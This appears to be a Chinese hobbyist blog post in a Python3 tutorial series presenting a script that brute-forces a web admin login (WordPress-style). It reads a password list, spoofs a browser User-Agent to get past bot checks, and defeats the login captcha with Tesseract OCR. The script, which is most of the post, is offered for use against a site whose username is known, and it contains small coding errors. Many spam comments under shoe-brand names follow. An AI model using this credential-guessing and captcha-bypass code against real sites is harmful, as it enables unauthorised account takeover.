Walks

网络安全爱好者

Python3学习系列(十):编写属于自己Intruder工具【下】

《Python3学习系列(十):编写属于自己Intruder工具【下】》  

前言:

继上篇文章,加个后台登陆的验证码识别流程

目录:

0x01:处理流程

0x02:准备工作

0x03:代码实现


0x01 处理流程

《Python3学习系列(十):编写属于自己Intruder工具【下】》

0x02 准备工作

安装识别验证码需要的库pillow(等于2.x的PIL,图像识别库),pytesseract(python中调用google-ocr识别的库)

pip install pillow 
pip install pytesseract

最后在安装一个:Tesseract-OCR(识别引擎)  百度下载就好

0x03 代码实现

# -*- coding: utf-8 -*-
'''
Program:WordPress后台登陆
Function:读取字典逐个登陆Wordpress后台,在知道用户名的情况下,可用来爆破登陆密码

Version:Python3.6
Time:2017/11/1
Author:Walks
个人博客:http://www.bywalks.com
'''
#导入requests库,跟2.x的urllib2和3.x的urllib.request差不多的功能,不过好像更强大
import requests
#导入图像识别的一些库
from PIL import Image
from io import BytesIO
import pytesseract
import urllib

#登陆后台
url = 'http://www.xx.cn/!logon'

#HTTP的header头,添加个user-agent,有的网站会从User-Agent来判断是否是程序访问
#如果是程序访问则不允许,添加个user-agent就是欺骗这种防护
#在这里的后台wordpress好像不用加
headers = {'User-Agent':'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
#访问后,保留cookie
s = requests.Session()
#加个headers
s.headers.update(headers)

#获取图片验证码
def get_captcha_by_OCR(img):
    img = Image.open(BytesIO(response))
    #图片灰度化
    img = img.convert('L')
    img.show()
    #识别函数,图片识别
    captcha = pytesseract.image_to_string(img)
    img.close()
    print(captcha)
    return captcha

#防止报错代码
try:
    #打开pwd.txt
    with open('pwd.txt','r') as f:
        #逐行访问并且尝试
        for pwd in f:
            #去除每行的\n,当你读取一行时,如果用二进制显示,会发现每行都有个\n
            pwd = pwd.replace('\n','')
            #print(pwd)
            response = urllib.request.urlopen('http://www.xx.cn/!code').read()
            
            #构造post数据
            data = {
                    'USERNAME':User(自己的用户名),
                    'PASSWORD':pwd,
                    'AUTHCODE':get_captcha_by_OCR(response),
                    }
            #尝试登陆
            req = s.post(url,data = data)
            print(req.status_code)
            #通过某些特征判断是否登陆成功
            if 'SZ-09951217-Y' in req.text:
                print('OK')
                break
#如果出错,输出具体错误
except requests.RequestException as e:
    print(e)

该程序有个缺陷,就是只能进行简单的验证码识别流程,如果想识别其他的验证码,可以自己学习一下这方面的知识。

转载请注明来自:www.bywalks.com

点赞
  1. ultra boost 3.0说道:

    My wife and i got really joyful that Emmanuel managed to conclude his research using the precious recommendations he came across out of the web site. It is now and again perplexing to simply be handing out tricks which often men and women have been selling. So we do understand we have the writer to thank because of that. These explanations you have made, the straightforward blog menu, the friendships your site make it possible to engender - it's got all spectacular, and it's really letting our son and the family recognize that the situation is awesome, and that's rather serious. Thank you for all the pieces!

  2. nike huarache说道:

    Needed to write you one little remark so as to give many thanks the moment again with the nice basics you've contributed above. It is certainly extremely open-handed of you to deliver easily all that most people would've distributed as an ebook to earn some bucks on their own, most notably now that you might well have tried it in the event you wanted. The tricks additionally served like a great way to recognize that someone else have similar fervor really like mine to learn significantly more concerning this problem. I am sure there are thousands of more pleasant opportunities in the future for individuals who looked at your site.

  3. goyard wallet说道:

    I not to mention my buddies were actually taking note of the great thoughts found on the blog and so all of the sudden got a horrible feeling I never thanked the web site owner for them. Most of the young men are already absolutely thrilled to study them and have now in reality been enjoying those things. I appreciate you for indeed being well thoughtful and for choosing varieties of fine things millions of individuals are really needing to be informed on. My sincere regret for not expressing appreciation to sooner.

  4. My husband and i were so fulfilled Chris managed to carry out his analysis using the precious recommendations he had through your site. It is now and again perplexing to simply be giving out thoughts that the others have been making money from. And we also understand we have the writer to appreciate for this. The most important explanations you've made, the simple blog menu, the relationships you can help engender - it is all exceptional, and it's really letting our son and our family imagine that this topic is cool, and that is rather fundamental. Thanks for all!

  5. yeezy说道:

    I precisely desired to thank you very much all over again. I do not know what I would've undertaken without the actual tips shared by you regarding my subject matter. It was actually a real terrifying setting in my opinion, however , observing a new skilled form you handled the issue made me to cry for delight. I'm grateful for this guidance and in addition pray you know what a great job that you are carrying out training others using your site. I am certain you haven't encountered all of us.

  6. goyard handbags说道:

    I needed to post you the little bit of word just to say thanks yet again with the beautiful information you have discussed at this time. This has been simply surprisingly open-handed with people like you to convey extensively just what most people would've advertised for an e-book to earn some money for their own end, primarily now that you might well have done it if you desired. The inspiring ideas in addition served as the good way to understand that other people online have the identical interest just like mine to grasp a great deal more with respect to this matter. I'm certain there are thousands of more pleasurable situations in the future for many who read your site.

  7. adidas yeezy说道:

    Thank you a lot for providing individuals with an extraordinarily special chance to check tips from here. It can be very sweet and as well , jam-packed with a great time for me personally and my office co-workers to search your web site on the least thrice weekly to find out the new guidance you have got. And of course, I'm actually motivated for the magnificent hints you give. Certain 2 tips on this page are honestly the most beneficial I've had.

  8. yeezy boost 350说道:

    I happen to be writing to make you know of the great encounter my cousin's princess obtained checking your web site. She discovered a wide variety of things, with the inclusion of how it is like to have an excellent helping mood to let many people with no trouble know just exactly a number of impossible matters. You actually exceeded readers' expected results. I appreciate you for providing such useful, dependable, explanatory as well as unique tips on the topic to Ethel.

  9. air max说道:

    I have to show my affection for your kindness in support of folks that must have guidance on this particular subject matter. Your special commitment to getting the message across became astonishingly useful and has constantly permitted workers like me to get to their desired goals. The valuable facts denotes so much a person like me and further more to my colleagues. Best wishes; from everyone of us.

  10. I'm writing to let you know of the amazing experience my cousin's daughter went through browsing your web page. She learned numerous issues, including what it is like to have a great coaching nature to get other people very easily thoroughly grasp various complicated issues. You actually did more than readers' desires. Thank you for supplying such priceless, trusted, revealing and even easy tips on the topic to Tanya.

  11. I simply had to say thanks once again. I am not sure what I could possibly have created without the entire points documented by you regarding such topic. It has been the horrifying matter in my circumstances, however , looking at a skilled manner you managed that made me to jump over fulfillment. I am grateful for this help and then believe you recognize what an amazing job you have been accomplishing teaching the others using a site. Most likely you have never come across all of us.

  12. yeezy boost 350说道:

    I wish to express my appreciation for your kindness supporting people who have the need for assistance with the topic. Your personal dedication to passing the message along became definitely productive and has in most cases enabled people just like me to arrive at their pursuits. The insightful facts entails much a person like me and extremely more to my mates. Best wishes; from all of us.

  13. yeezy shoes说道:

    I precisely needed to thank you so much once again. I do not know the things that I could possibly have sorted out without the actual thoughts contributed by you directly on this area of interest. It seemed to be an absolute intimidating problem in my position, nevertheless spending time with your well-written strategy you resolved the issue made me to cry over delight. I'm just happy for your work and then hope you really know what a powerful job you're accomplishing teaching others by way of your blog. More than likely you have never met all of us.

  14. iniki说道:

    I am glad for commenting to make you understand what a helpful discovery my cousin's princess had using your web site. She came to understand numerous pieces, which include how it is like to possess a great coaching style to have others without problems fully grasp several impossible things. You undoubtedly did more than my expected results. Thank you for giving these warm and helpful, healthy, edifying as well as easy guidance on that topic to Emily.

  15. ultra boost说道:

    My husband and i got very relieved Michael could finish off his research while using the precious recommendations he had when using the blog. It is now and again perplexing to just continually be giving freely guidance the rest could have been making money from. And we take into account we now have the writer to appreciate because of that. The main explanations you've made, the straightforward blog navigation, the relationships your site give support to create - it's all fabulous, and it's really facilitating our son in addition to our family consider that the content is satisfying, and that is wonderfully essential. Thank you for the whole thing!

  16. golden goose说道:

    Thank you so much for giving everyone such a wonderful chance to discover important secrets from this blog. It really is so kind and also packed with a good time for me and my office fellow workers to visit your website nearly three times every week to find out the fresh guides you have. Not to mention, I'm at all times contented with your striking suggestions you serve. Selected 2 ideas in this post are completely the most suitable we have all ever had.

  17. converse shoes说道:

    I'm also commenting to let you understand what a great encounter my cousin's princess went through going through your web site. She mastered a wide variety of pieces, not to mention what it's like to have an incredible teaching heart to have the mediocre ones just learn various tricky matters. You actually surpassed my desires. I appreciate you for producing those precious, trustworthy, edifying and also easy tips about that topic to Sandra.

  18. adidas gazelle说道:

    I enjoy you because of all your effort on this web site. Ellie take interest in doing investigation and it's simple to grasp why. Many of us learn all concerning the lively method you provide priceless steps through the website and as well as improve participation from people on the idea so our simple princess is certainly discovering a great deal. Take advantage of the rest of the new year. You have been performing a wonderful job.

  19. vans outlet说道:

    Thanks a lot for providing individuals with a very memorable opportunity to discover important secrets from this website. It can be very cool and as well , jam-packed with a great time for me and my office peers to search your blog on the least 3 times per week to study the newest secrets you have got. And indeed, I'm at all times pleased for the astonishing creative concepts served by you. Certain 2 points on this page are ultimately the best we have all ever had.

  20. My husband and i were very fortunate that Raymond could carry out his survey out of the ideas he came across through the blog. It's not at all simplistic just to be giving freely facts which usually people today could have been making money from. So we acknowledge we have got the blog owner to be grateful to because of that. Those illustrations you made, the straightforward web site navigation, the relationships you can make it possible to engender - it's everything powerful, and it's really letting our son in addition to us consider that the issue is enjoyable, and that's pretty essential. Thank you for everything!

  21. adidas superstar说道:

    I in addition to my guys were found to be following the excellent ideas located on the blog and then immediately developed a terrible suspicion I had not thanked you for those tips. All the people ended up for that reason thrilled to read through all of them and have in effect absolutely been enjoying these things. I appreciate you for getting simply helpful as well as for opting for this sort of important things most people are really desirous to be aware of. My honest regret for not saying thanks to earlier.

  22. yeezy boost 350说道:

    I not to mention my friends happened to be analyzing the good suggestions from the blog and so all of a sudden came up with an awful suspicion I had not expressed respect to you for them. These people are already consequently stimulated to study all of them and already have definitely been loving those things. Thank you for genuinely very helpful as well as for using varieties of beneficial information most people are really wanting to know about. Our sincere regret for not expressing gratitude to you earlier.

  23. yeezy boost说道:

    I wish to show appreciation to you just for rescuing me from this type of situation. As a result of looking out throughout the the web and coming across recommendations which are not pleasant, I was thinking my entire life was done. Being alive without the approaches to the problems you have fixed through your review is a crucial case, and those which may have adversely affected my entire career if I hadn't discovered your site. The knowledge and kindness in controlling all the pieces was very useful. I don't know what I would've done if I hadn't discovered such a step like this. I'm able to at this time look forward to my future. Thanks for your time very much for the expert and result oriented guide. I will not hesitate to propose your site to anybody who wants and needs care about this situation.

发表评论

电子邮件地址不会被公开。 必填项已用*标注